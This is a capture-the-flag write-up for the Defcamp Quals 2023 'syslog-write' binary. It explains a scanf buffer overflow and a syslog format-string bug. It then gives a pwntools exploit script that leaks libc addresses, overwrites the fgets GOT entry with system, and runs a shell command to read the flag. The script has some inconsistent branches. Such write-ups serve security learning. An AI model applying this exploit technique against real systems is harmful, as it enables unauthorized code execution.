system-write [Defcamp Quals 2023]

writeup by: sunbather

Challenge Description

Wait what? We can write data, but where?

Flag format: CTF{sha256}


Checksec the binary to see what we have.

$ checksec syslog-write
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   49 Symbols	  No	0		4		syslog-write

We have PIE disabled and Partial RELRO. Partial RELRO might mean that we will overwrite GOT entries.

We decompile the binary and find numerous vulnerabilities. First a buffer overflow is present in the main function, when we read the “log level”:

	printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): ");
	__isoc99_scanf(" %[^\n]",local_222);

Sadly, we can’t do much with it initially, as the function does not return. Every exit point is covered by exit().

Another vulnerability that is evident is the fact that our input gets passed directly to syslog. What is great about this is that syslog uses a format string as its second argument. So we have a format string vulnerability.

	printf("Enter the message to write to syslog: ");


So first we obviously have to leak some data. We leak a whole lot of addresses from the stack by passing a bunch of "%x" to syslog. We manually identify the return for the main function. We can make our lives easier by passing a bunch of “a” characters to the vulnerable buffer, to create a pattern of “a” characters leading up to the return address.

After leaking and checking in the debugger, we find out the return address for main leads to __libc_init_first. We find the libc version using the libc database and we save some offsets to system from there. In the exploit we next calculate the address for system and use a classic arbitrary write primitive from the format string vulnerability. We overwrite the address of fgets, found in GOT, two bytes at a time (to avoid long printing times). Now, our next input to fgets will get interpreted as a shell command. But how can we control it now that fgets is compromised? Easy, we can reuse the buffer overflow from the earlier scanf to overwrite it with a command. The exploit is below:

#!/usr/bin/env python3

from pwn import *

is_remote = False
target = process("./syslog-write")
#target = remote("", 31549) 

fgets_gotplt_addr = 0x00404048
fgets_gotplt_addr_next = 0x0040404a

if is_remote:
    system_offset = 0x27060 # from init_first
    system_offset = 159856 # from init_first

# Leak a bunch of addresses
target.sendline(b"a" * 0x222)
target.sendline(b"%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x")

if is_remote:
    leak = list(reversed(target.recvline().split()))

	# Find the return address using the "AAAA" pattern
    for i in range(len(leak)):
        if leak[i] == b"61616161":
            libc_init_first_leak = leak[i-1]
            libc_init_first_leak = int(libc_init_first_leak, 16)

	# get the addresses manually on local
	# I had some issues with reading the syslog
    libc_init_first_leak = input()

    libc_init_first_leak = int(libc_init_first_leak, 16)

# Find system address
system_addr = p64(libc_init_first_leak + system_offset)
print(f"System addr: {hex(libc_init_first_leak + system_offset)}")

# Prepare the bytes to be written
x = int.from_bytes(system_addr[:2], byteorder='little')
y = int.from_bytes(system_addr[2:4], byteorder='little')


# You have to make sure the stack is correctly aligned
# and that the parameter access (%11$hn and %12$hn) leads to the correct addresses
# Use a debugger!
payload = "%{}c%11$hn%{}c%12$hnbbbbbbb".format(x, y-x).encode()

# Overwrite fgets with system
target.sendline(p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next)) # honestly don't remember if this really matters
target.sendline(payload + p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next))

# run /bin/cat flag.txt
target.sendline(b"A" * 10 + b"/bin/cat flag.txt") # overflow and win